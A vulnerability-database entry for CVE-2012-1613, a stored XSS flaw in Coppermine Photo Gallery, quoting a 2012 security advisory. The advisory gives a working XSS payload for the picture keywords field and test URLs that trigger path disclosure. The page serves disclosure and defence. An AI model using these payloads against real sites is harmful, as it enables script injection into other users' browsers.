CVE-2012-1613

low
Published 2012-09-04 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
4.5

Description

Cross-site scripting (XSS) vulnerability in edit_one_pic.php in Coppermine Photo Gallery before 1.5.20 allows remote authenticated users with certain privileges to inject arbitrary web script or HTML via the keywords parameter.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18680 webapps php verified text ยท 5 KB
waraxe ยท 2012-03-30

coppermine 1.5.18 - Multiple Vulnerabilities

text exploit Source: Exploit-DB
[waraxe-2012-SA#081] - Multiple Vulnerabilities in Coppermine 1.5.18
==============================================================================

Author: Janek Vind "waraxe"
Date: 29. March 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-81.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Coppermine is a multi-purpose fully-featured and integrated web picture gallery
script written in PHP using GD or ImageMagick as image library with a MySQL backend.

http://coppermine-gallery.net/


Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against Coppermine version 1.5.18.

###############################################################################
1. Stored XSS in picture keywords
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Preconditions: privileges needed for picture keywords editing

Coppermine user with appropriate privileges is able to modify picture information:

http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture

There is a field in form named as "Keywords (separate with semicolon)".
After insertion to database those keywords are later used in html meta section.
It appears, that specific user supplied data is not properly validated before
outputting as html to the end user, resulting in Stored XSS vulnerability.

Testing:

1. Open picture information editing page:

http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture

2. Insert XSS payload below as keywords and click "Apply changes":

"><body onload=javascript:alert(String.fromCharCode(88,83,83))>

After that issue request to view this image:

http://localhost/cpg1518/displayimage.php?pid=1

As result we can observe XSS payload execution.


###############################################################################
2. Path Disclosure in "visiblehookpoints" plugin
###############################################################################

Test:

http://localhost/cpg1518/plugins/visiblehookpoints/index.php

Result:

Warning: require_once(include/init.inc.php) [function.require-once]:
failed to open stream: No such file or directory in
C:\apache_www\cpg1518\plugins\visiblehookpoints\index.php on line 22

Fatal error: require_once() [function.require]:
Failed opening required 'include/init.inc.php' (include_path='.;C:\php\pear') in
C:\apache_www\cpg1518\plugins\visiblehookpoints\index.php on line 22


###############################################################################
3. Path Disclosure in "thumbnails.php"
###############################################################################

Attack vector: user submitted GET parameters "page" and "cat"

Tests:

http://localhost/cpg1518/thumbnails.php?page[]
http://localhost/cpg1518/thumbnails.php?cat[]

Results:

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\include\functions.inc.php on line 2980

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\thumbnails.php on line 160



###############################################################################
4. Path Disclosure in "usermgr.php"
###############################################################################

Attack vector: user submitted GET parameter "page"
Preconditions: admin privileges needed

Test:

http://localhost/cpg1518/usermgr.php?page[]

Result:

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\usermgr.php on line 185


###############################################################################
5. Path Disclosure in "search.inc.php"
###############################################################################

Attack vector: user submitted GET parameters "newer_than" and "older_than"

Tests:

http://localhost/cpg1518/thumbnails.php?search=1&album=search&newer_than[]
http://localhost/cpg1518/thumbnails.php?search=1&album=search&older_than[]

Results:

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\include\search.inc.php on line 106

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\include\search.inc.php on line 107


Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

27.03.2012 Developers contacted via email
29.03.2012 Developers released patched version 1.5.20
29.03.2012 Public disclosure


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------

Application impact

VendorProductVersionsFixed
coppermine-gallerycoppermine_photo_gallery{"endIncluding":"1.5.18"}
coppermine-gallerycoppermine_photo_gallery1.0
coppermine-gallerycoppermine_photo_gallery1.1
coppermine-gallerycoppermine_photo_gallery1.1.0
coppermine-gallerycoppermine_photo_gallery1.2
coppermine-gallerycoppermine_photo_gallery1.2.0
coppermine-gallerycoppermine_photo_gallery1.2.1
coppermine-gallerycoppermine_photo_gallery1.3.0
coppermine-gallerycoppermine_photo_gallery1.3.1
coppermine-gallerycoppermine_photo_gallery1.3.2
coppermine-gallerycoppermine_photo_gallery1.3.3
coppermine-gallerycoppermine_photo_gallery1.3.4
coppermine-gallerycoppermine_photo_gallery1.3.5
coppermine-gallerycoppermine_photo_gallery1.4.0
coppermine-gallerycoppermine_photo_gallery1.4.1
coppermine-gallerycoppermine_photo_gallery1.4.2
coppermine-gallerycoppermine_photo_gallery1.4.3
coppermine-gallerycoppermine_photo_gallery1.4.4
coppermine-gallerycoppermine_photo_gallery1.4.5
coppermine-gallerycoppermine_photo_gallery1.4.6
coppermine-gallerycoppermine_photo_gallery1.4.7
coppermine-gallerycoppermine_photo_gallery1.4.8
coppermine-gallerycoppermine_photo_gallery1.4.9
coppermine-gallerycoppermine_photo_gallery1.4.10
coppermine-gallerycoppermine_photo_gallery1.4.11
coppermine-gallerycoppermine_photo_gallery1.4.12
coppermine-gallerycoppermine_photo_gallery1.4.13
coppermine-gallerycoppermine_photo_gallery1.4.14
coppermine-gallerycoppermine_photo_gallery1.4.15
coppermine-gallerycoppermine_photo_gallery1.4.16
coppermine-gallerycoppermine_photo_gallery1.4.17
coppermine-gallerycoppermine_photo_gallery1.4.18
coppermine-gallerycoppermine_photo_gallery1.4.19
coppermine-gallerycoppermine_photo_gallery1.4.20
coppermine-gallerycoppermine_photo_gallery1.4.21
coppermine-gallerycoppermine_photo_gallery1.4.22
coppermine-gallerycoppermine_photo_gallery1.4.23
coppermine-gallerycoppermine_photo_gallery1.4.24
coppermine-gallerycoppermine_photo_gallery1.4.25
coppermine-gallerycoppermine_photo_gallery1.4.26
coppermine-gallerycoppermine_photo_gallery1.4.27
coppermine-gallerycoppermine_photo_gallery1.5.1
coppermine-gallerycoppermine_photo_gallery1.5.2
coppermine-gallerycoppermine_photo_gallery1.5.3
coppermine-gallerycoppermine_photo_gallery1.5.4
coppermine-gallerycoppermine_photo_gallery1.5.6
coppermine-gallerycoppermine_photo_gallery1.5.8
coppermine-gallerycoppermine_photo_gallery1.5.10
coppermine-gallerycoppermine_photo_gallery1.5.12
coppermine-gallerycoppermine_photo_gallery1.5.14
coppermine-gallerycoppermine_photo_gallery1.5.16

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.